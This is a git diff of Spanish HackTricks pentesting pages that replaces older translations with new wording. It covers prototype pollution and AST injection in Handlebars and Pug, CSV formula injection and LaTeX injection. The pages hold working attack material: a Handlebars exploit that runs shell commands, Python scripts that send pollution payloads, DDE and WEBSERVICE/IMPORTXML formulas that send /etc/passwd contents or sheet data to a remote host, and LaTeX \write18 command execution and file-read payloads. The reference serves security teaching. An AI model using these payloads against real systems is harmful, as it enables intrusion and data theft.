var strip = new _whitespaceControl2['default'](options);
|
||||
|
||||
return strip.accept(ast);
|
||||
}
|
||||
```
|
||||
Primero, observa la función compile, la cual soporta dos formas de entrada, Objeto AST y cadena de plantilla.
|
||||
|
||||
cuando input.type es un `Program`, aunque el valor de entrada es en realidad una cadena.\
|
||||
El Parser considera que ya es un AST analizado por parser.js y lo envía al compilador sin ningún procesamiento.
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
|
||||
|
||||
...
|
||||
accept: function accept(node) {
|
||||
/* istanbul ignore next: Sanity code */
|
||||
if (!this[node.type]) {
|
||||
throw new _exception2['default']('Unknown type: ' + node.type, node);
|
||||
}
|
||||
|
||||
this.sourceNode.unshift(node);
|
||||
var ret = this[node.type](node);
|
||||
this.sourceNode.shift();
|
||||
return ret;
|
||||
},
|
||||
Program: function Program(program) {
|
||||
console.log((new Error).stack)
|
||||
this.options.blockParams.unshift(program.blockParams);
|
||||
|
||||
var body = program.body,
|
||||
bodyLength = body.length;
|
||||
for (var i = 0; i < bodyLength; i++) {
|
||||
this.accept(body[i]);
|
||||
}
|
||||
|
||||
this.options.blockParams.shift();
|
||||
|
||||
this.isSimple = bodyLength === 1;
|
||||
this.blockParams = program.blockParams ? program.blockParams.length : 0;
|
||||
|
||||
return this;
|
||||
}
|
||||
```
|
||||
El compilador, dado el objeto AST (en realidad una cadena), lo envía al método `accept`.\
|
||||
y `accept` llama a `this[node.type]` del compilador.\
|
||||
Luego toma el atributo body del AST y lo utiliza para construir la función.
|
||||
Ejemplo de explotación de la vulnerabilidad de Handlebars:
|
||||
```javascript
|
||||
const Handlebars = require('handlebars');
|
||||
|
||||
|
@ -403,42 +296,20 @@ Object.prototype.body = [{
|
|||
}
|
||||
}];
|
||||
|
||||
|
||||
const source = `Hello {{ msg }}`;
|
||||
const template = Handlebars.precompile(source);
|
||||
|
||||
console.log(eval('(' + template + ')')['main'].toString());
|
||||
|
||||
/*
|
||||
function (container, depth0, helpers, partials, data) {
|
||||
var stack1, lookupProperty = container.lookupProperty || function (parent, propertyName) {
|
||||
if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
|
||||
return parent[propertyName];
|
||||
}
|
||||
return undefined
|
||||
};
|
||||
|
||||
return ((stack1 = (lookupProperty(helpers, "undefined") || (depth0 && lookupProperty(depth0, "undefined")) || container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}), console.log(process.mainModule.require('child_process').execSync('id').toString()), {
|
||||
"name": "undefined",
|
||||
"hash": {},
|
||||
"data": data,
|
||||
"loc": {
|
||||
"start": 0,
|
||||
"end": 0
|
||||
}
|
||||
})) != null ? stack1 : "");
|
||||
}
|
||||
*/
|
||||
```
|
||||
Como resultado, un ataque puede configurarse de esta manera. Si has pasado por el analizador, especifica una cadena que no pueda asignarse al valor de NumberLiteral. Pero una vez procesado el AST inyectado, podemos insertar cualquier código en la función.
|
||||
El código anterior demuestra cómo un atacante puede inyectar código arbitrario en una plantilla de Handlebars.
|
||||
|
||||
**Ejemplo**
|
||||
**Referencia Externa**: [Problema relacionado con la contaminación del prototipo en la biblioteca 'flat'](https://github.com/hughsk/flat/issues/105)
|
||||
|
||||
[https://github.com/hughsk/flat/issues/105](https://github.com/hughsk/flat/issues/105)
|
||||
Ejemplo de contaminación del prototipo en Python:
|
||||
```python
|
||||
import requests
|
||||
|
||||
TARGET_URL = 'http://p6.is:3000'
|
||||
TARGET_URL = 'http://10.10.10.10:9090'
|
||||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
|
@ -460,13 +331,15 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
# execute
|
||||
requests.get(TARGET_URL)
|
||||
```
|
||||
### Pug
|
||||
#### Vulnerabilidad en Pug
|
||||
|
||||
Más información en [https://blog.p6.is/AST-Injection/#Pug](https://blog.p6.is/AST-Injection/#Pug)
|
||||
Al igual que Handlebars, Pug también puede ser explotado a través de la contaminación de prototipos. Más información se puede encontrar en [Inyección AST en Pug](https://blog.p6.is/AST-Injection/#Pug).
|
||||
|
||||
Ejemplo de contaminación de prototipos en Pug:
|
||||
```python
|
||||
import requests
|
||||
|
||||
TARGET_URL = 'http://p6.is:3000'
|
||||
TARGET_URL = 'http://10.10.10.10:9090'
|
||||
|
||||
# make pollution
|
||||
requests.post(TARGET_URL + '/vulnerable', json = {
|
||||
|
@ -479,31 +352,36 @@ requests.post(TARGET_URL + '/vulnerable', json = {
|
|||
# execute
|
||||
requests.get(TARGET_URL)
|
||||
```
|
||||
## ¿Qué puedo hacer para prevenir?
|
||||
### Medidas Preventivas
|
||||
|
||||
* Congelar propiedades con Object.freeze (Object.prototype)
|
||||
* Realizar validación en las entradas JSON de acuerdo con el esquema de la aplicación
|
||||
* Evitar el uso de funciones de fusión recursiva de manera insegura
|
||||
* Usar objetos sin propiedades de prototipo, como `Object.create(null)`, para evitar afectar la cadena de prototipos
|
||||
* Usar `Map` en lugar de `Object`
|
||||
* Actualizar regularmente nuevos parches para bibliotecas
|
||||
Para mitigar el riesgo de la contaminación de prototipos, considere las siguientes estrategias:
|
||||
|
||||
## Referencia
|
||||
1. **Inmutabilidad de Objetos**: Utilice `Object.freeze` para hacer que `Object.prototype` sea inmutable.
|
||||
2. **Validación de Entradas**: Valide estrictamente las entradas JSON basadas en el esquema de la aplicación.
|
||||
3. **Funciones de Fusión Seguras**: Evite el uso inseguro de funciones de fusión recursivas.
|
||||
4. **Objetos sin Prototipo**: Utilice `Object.create(null)` para crear objetos sin propiedades de prototipo.
|
||||
5. **Uso de Mapa**: Opte por `Map` en lugar de `Object` para pares clave-valor.
|
||||
6. **Actualizaciones de Bibliotecas**: Actualice regularmente las bibliotecas para incorporar parches de seguridad.
|
||||
|
||||
|
||||
|
||||
## Referencias
|
||||
|
||||
* [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||
* [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l)
|
||||
* [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7)
|
||||
* [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén [**productos oficiales de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para poder arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos de amenazas proactivos, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -26,13 +26,13 @@ Encuentra vulnerabilidades que importan más para poder arreglarlas más rápido
|
|||
|
||||
### Información
|
||||
|
||||
Si tu **entrada** se está **reflejando** dentro de archivos **CSV** (o cualquier otro archivo que probablemente se abrirá con **Excel**), podrías ser capaz de poner **fórmulas** de Excel que se **ejecutarán** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de Excel.
|
||||
Si tu **entrada** se está **reflejando** dentro de **archivos CSV** (o cualquier otro archivo que probablemente se abrirá en **Excel**), es posible que puedas insertar **fórmulas de Excel** que se **ejecutarán** cuando el usuario **abra el archivo** o cuando el usuario **haga clic en algún enlace** dentro de la hoja de cálculo de Excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Hoy en día **Excel alertará** (varias veces) al **usuario cuando algo se cargue desde fuera de Excel** para prevenir acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en Ingeniería Social al payload final.
|
||||
Hoy en día, **Excel alertará** (varias veces) al **usuario cuando algo se carga desde fuera de Excel** para evitar que realice acciones maliciosas. Por lo tanto, se debe aplicar un esfuerzo especial en Ingeniería Social para la carga final.
|
||||
{% endhint %}
|
||||
|
||||
### [Lista de Palabras](https://github.com/payloadbox/csv-injection-payloads)
|
||||
### [Lista de palabras](https://github.com/payloadbox/csv-injection-payloads)
|
||||
```
|
||||
DDE ("cmd";"/C calc";"!A0")A0
|
||||
@SUM(1+9)*cmd|' /C calc'!A0
|
||||
|
@ -43,38 +43,40 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### Hipervínculo
|
||||
|
||||
**El siguiente ejemplo es muy útil para exfiltrar contenido de la hoja de cálculo final y realizar solicitudes a ubicaciones arbitrarias. Sin embargo, requiere que el usuario haga clic en el enlace (y acepte los avisos de advertencia).**
|
||||
**El siguiente ejemplo es muy útil para extraer contenido de la hoja de cálculo final y realizar solicitudes a ubicaciones arbitrarias. Pero requiere que el usuario haga clic en el enlace (y acepte las advertencias).**
|
||||
|
||||
Ejemplo tomado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
El siguiente ejemplo fue tomado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Supongamos un escenario de ataque en el sistema de gestión de registros estudiantiles de una escuela. La aplicación permite a los profesores ingresar detalles de los estudiantes en la escuela. El atacante obtiene acceso a la aplicación y quiere que todos los profesores que usan la aplicación se vean comprometidos. Entonces, el atacante intenta realizar un ataque de inyección CSV a través de la aplicación web.\
|
||||
El atacante necesita robar los detalles de otros estudiantes. Por lo tanto, el atacante utiliza la fórmula Hipervínculo y la ingresa al introducir los detalles del estudiante.
|
||||
Imagina una brecha de seguridad en un sistema de Gestión de Registros de Estudiantes que es explotada a través de un ataque de inyección de CSV. La intención principal del atacante es comprometer el sistema utilizado por los profesores para gestionar los detalles de los estudiantes. El método implica que el atacante inyecte una carga maliciosa en la aplicación, específicamente ingresando fórmulas dañinas en campos destinados para los detalles de los estudiantes. El ataque se desarrolla de la siguiente manera:
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_008.png)
|
||||
1. **Inyección de Carga Maliciosa:**
|
||||
- El atacante envía un formulario de detalles de estudiante pero incluye una fórmula comúnmente utilizada en hojas de cálculo (por ejemplo, `=HYPERLINK("<enlace_malicioso>","Haz clic aquí")`).
|
||||
- Esta fórmula está diseñada para crear un hipervínculo, pero apunta a un servidor malicioso controlado por el atacante.
|
||||
|
||||
Cuando el profesor exporta el CSV y hace clic en el hipervínculo, los datos sensibles se envían al servidor del atacante.
|
||||
2. **Exportación de Datos Comprometidos:**
|
||||
- Los profesores, sin ser conscientes del compromiso, utilizan la funcionalidad de la aplicación para exportar los datos a un archivo CSV.
|
||||
- El archivo CSV, al ser abierto, aún contiene la carga maliciosa. Esta carga aparece como un hipervínculo clickeable en la hoja de cálculo.
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_009.png)
|
||||
3. **Desencadenando el Ataque:**
|
||||
- Un profesor hace clic en el hipervínculo, creyendo que es una parte legítima de los detalles del estudiante.
|
||||
- Al hacer clic, los datos sensibles (potencialmente incluyendo detalles de la hoja de cálculo o de la computadora del profesor) son transmitidos al servidor del atacante.
|
||||
|
||||
El archivo CSV exportado contiene una carga maliciosa en su interior.
|
||||
4. **Registrando los Datos:**
|
||||
- El servidor del atacante recibe y registra los datos sensibles enviados desde la computadora del profesor.
|
||||
- El atacante puede luego utilizar estos datos para varios propósitos maliciosos, comprometiendo aún más la privacidad y seguridad de los estudiantes y la institución.
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_010.png)
|
||||
|
||||
Los detalles del estudiante se registran en el servidor web del atacante.
|
||||
|
||||
![](https://payatu.com/wp-content/uploads/2017/11/Selection\_011.png)
|
||||
|
||||
### RCE
|
||||
|
||||
Para que este ejemplo funcione es **necesario habilitar la siguiente configuración**:\
|
||||
Archivo → Opciones → Centro de confianza → Configuración del Centro de confianza → Contenido externo → Habilitar el lanzamiento del servidor de intercambio de datos dinámicos\
|
||||
Para que este ejemplo funcione, **es necesario tener habilitada la siguiente configuración**:\
|
||||
Archivo → Opciones → Centro de Confianza → Configuración del Centro de Confianza → Contenido Externo → Habilitar Lanzamiento del Servidor de Intercambio de Datos Dinámico\
|
||||
o el uso de una **versión antigua de Excel**.
|
||||
|
||||
La buena noticia es que **esta carga se ejecuta automáticamente cuando se abre el archivo** (si el usuario acepta las advertencias).
|
||||
|
||||
Es posible ejecutar una calculadora con la siguiente carga **`=cmd|' /C calc'!xxx`**
|
||||
|
||||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||||
![](<../.gitbook/assets/image (25) (2) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (8).png>)
|
||||
|
||||
### Más
|
||||
```bash
|
||||
|
@ -89,24 +91,24 @@ Es posible ejecutar una calculadora con la siguiente carga **`=cmd|' /C calc'!xx
|
|||
* Exfiltrar más de una línea: `=WEBSERVICE(CONCATENATE("http://:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Exfiltración DNS: `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),"."))`
|
||||
|
||||
**Analizando el payload de exfiltración DNS:**
|
||||
**Analizando la carga de exfiltración DNS:**
|
||||
|
||||
* ‘file:///etc/passwd’#$passwd.A19 – Leerá la 19ª línea del archivo local /etc/passwd
|
||||
* ENCODEURL(‘file:///etc/passwd’#$passwd.A19) – Codifica la URL de los datos devueltos
|
||||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similar a substring, lee datos desde el 1er carácter hasta el 41º – una forma muy práctica de restringir la longitud de los nombres de host DNS (límite de 254 caracteres en FQDN y 63 caracteres para una etiqueta, es decir, subdominio)
|
||||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – reemplaza todas las instancias de % (el carácter especial de la codificación de URL) con guión – esto asegura que solo se usen caracteres DNS válidos
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – Concatena la salida del archivo (después de que se haya realizado el procesamiento anterior) con el FQDN (para el cual tenemos acceso al host que es autoritativo para el dominio)
|
||||
* WEBSERVICE – Hará una solicitud para este nombre DNS inexistente que luego podemos analizar los registros (o ejecutar tcpdump, etc.) en el servidor de nombres DNS autoritativo para el cual tenemos control
|
||||
* MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41) – Similar a una subcadena, lee datos desde el primer carácter hasta el 41º, una forma muy útil de restringir la longitud de los nombres de host DNS (límite de 254 caracteres en FQDN y 63 caracteres para una etiqueta, es decir, subdominio)
|
||||
* SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“) – reemplaza todas las instancias de % (el carácter especial de la codificación de URL) con guion, esto asegura que solo se utilicen caracteres DNS válidos
|
||||
* CONCATENATE((SUBSTITUTE(MID((ENCODEURL(‘file:///etc/passwd’#$passwd.A19)),1,41),”%”,”-“)),”.\<FQDN>”) – Concatena la salida del archivo (después de que se haya realizado el procesamiento anterior) con el FQDN (para el cual tenemos acceso al host que es autoritario para el dominio)
|
||||
* WEBSERVICE – Realizará una solicitud para este nombre de DNS inexistente que luego podemos analizar los registros (o ejecutar tcpdump, etc.) en el servidor de nombres autoritario de DNS para el cual tenemos control
|
||||
|
||||
### Exfiltración de datos OOB en Google Sheets
|
||||
### Google Sheets OOB Data Exfiltration
|
||||
|
||||
Primero, presentemos algunas de las funciones más interesantes.
|
||||
En primer lugar, presentemos algunas de las funciones más interesantes.
|
||||
|
||||
**CONCATENATE**: Anexa cadenas una tras otra.
|
||||
**CONCATENATE**: Une cadenas entre sí.
|
||||
```
|
||||
=CONCATENATE(A2:E2)
|
||||
```
|
||||
**IMPORTXML**: Importa datos de varios tipos de datos estructurados, incluyendo XML, HTML, CSV, TSV y fuentes XML RSS y ATOM.
|
||||
**IMPORTXML**: Importa datos de varios tipos de datos estructurados, incluyendo XML, HTML, CSV, TSV, y feeds XML de RSS y ATOM.
|
||||
```
|
||||
=IMPORTXML(CONCAT("http://[remote IP:Port]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
|
||||
```
|
||||
|
@ -122,24 +124,24 @@ Primero, presentemos algunas de las funciones más interesantes.
|
|||
```
|
||||
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
|
||||
```
|
||||
**IMAGE**: Inserta una imagen en una celda.
|
||||
**IMAGEN**: Inserta una imagen en una celda.
|
||||
```
|
||||
=IMAGE("https://[remote IP:Port]/images/srpr/logo3w.png")
|
||||
```
|
||||
## Inyección LaTeX
|
||||
## Inyección de LaTeX
|
||||
|
||||
Normalmente, los servidores que encontrará en internet que **convierten código LaTeX a PDF** usan **`pdflatex`**.\
|
||||
Este programa utiliza 3 atributos principales para permitir (o no) la ejecución de comandos:
|
||||
Por lo general, los servidores que se encuentran en Internet y que **convierten código LaTeX a PDF** utilizan **`pdflatex`**.\
|
||||
Este programa utiliza 3 atributos principales para permitir o no la ejecución de comandos:
|
||||
|
||||
* **`--no-shell-escape`**: **Deshabilita** la construcción `\write18{command}`, incluso si está habilitada en el archivo texmf.cnf.
|
||||
* **`--shell-restricted`**: Igual que `--shell-escape`, pero **limitado** a un conjunto 'seguro' de **comandos predefinidos** (\*\*En Ubuntu 16.04 la lista está en `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Habilita** la construcción `\write18{command}`. El comando puede ser cualquier comando de shell. Esta construcción normalmente está prohibida por razones de seguridad.
|
||||
* **`--shell-restricted`**: Igual que `--shell-escape`, pero **limitado** a un conjunto 'seguro' de \*\*comandos predefinidos (\*\*En Ubuntu 16.04 la lista está en `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
* **`--shell-escape`**: **Habilita** la construcción `\write18{command}`. El comando puede ser cualquier comando de shell. Esta construcción normalmente está deshabilitada por razones de seguridad.
|
||||
|
||||
Sin embargo, hay otras formas de ejecutar comandos, por lo que para evitar RCE es muy importante usar `--shell-restricted`.
|
||||
Sin embargo, existen otras formas de ejecutar comandos, por lo que para evitar la ejecución remota de código (RCE) es muy importante usar `--shell-restricted`.
|
||||
|
||||
### Leer archivo <a href="#read-file" id="read-file"></a>
|
||||
|
||||
Puede que necesite ajustar la inyección con envoltorios como \[ o $.
|
||||
Es posible que necesites ajustar la inyección con envolturas como \[ o $.
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -155,7 +157,7 @@ Puede que necesite ajustar la inyección con envoltorios como \[ o $.
|
|||
\text{\line}
|
||||
\closein\file
|
||||
```
|
||||
#### Leer archivo de múltiples líneas
|
||||
#### Leer archivo con múltiples líneas
|
||||
```bash
|
||||
\newread\file
|
||||
\openin\file=/etc/passwd
|
||||
|
@ -174,7 +176,7 @@ Puede que necesite ajustar la inyección con envoltorios como \[ o $.
|
|||
```
|
||||
### Ejecución de comandos <a href="#command-execution" id="command-execution"></a>
|
||||
|
||||
La entrada del comando será redirigida a stdin, usa un archivo temporal para obtenerla.
|
||||
La entrada del comando se redirigirá a stdin, utilice un archivo temporal para obtenerla.
|
||||
```bash
|
||||
\immediate\write18{env > output}
|
||||
\input{output}
|
||||
|
@ -197,7 +199,7 @@ La entrada del comando será redirigida a stdin, usa un archivo temporal para ob
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
Si obtienes algún error de LaTex, considera usar base64 para obtener el resultado sin caracteres incorrectos.
|
||||
Si obtienes algún error de LaTex, considera usar base64 para obtener el resultado sin caracteres no deseados.
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
@ -209,7 +211,7 @@ Si obtienes algún error de LaTex, considera usar base64 para obtener el resulta
|
|||
```
|
||||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
|
||||
De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
Desde [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
```bash
|
||||
\url{javascript:alert(1)}
|
||||
\href{javascript:alert(1)}{placeholder}
|
||||
|
@ -227,20 +229,20 @@ TODO: Crear un resumen con la información y técnicas más relevantes de [https
|
|||
|
||||
<figure><img src="../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Encuentra vulnerabilidades que importan más para poder solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
Encuentra vulnerabilidades que importan más para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, ejecuta escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**¡Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,158 +2,157 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
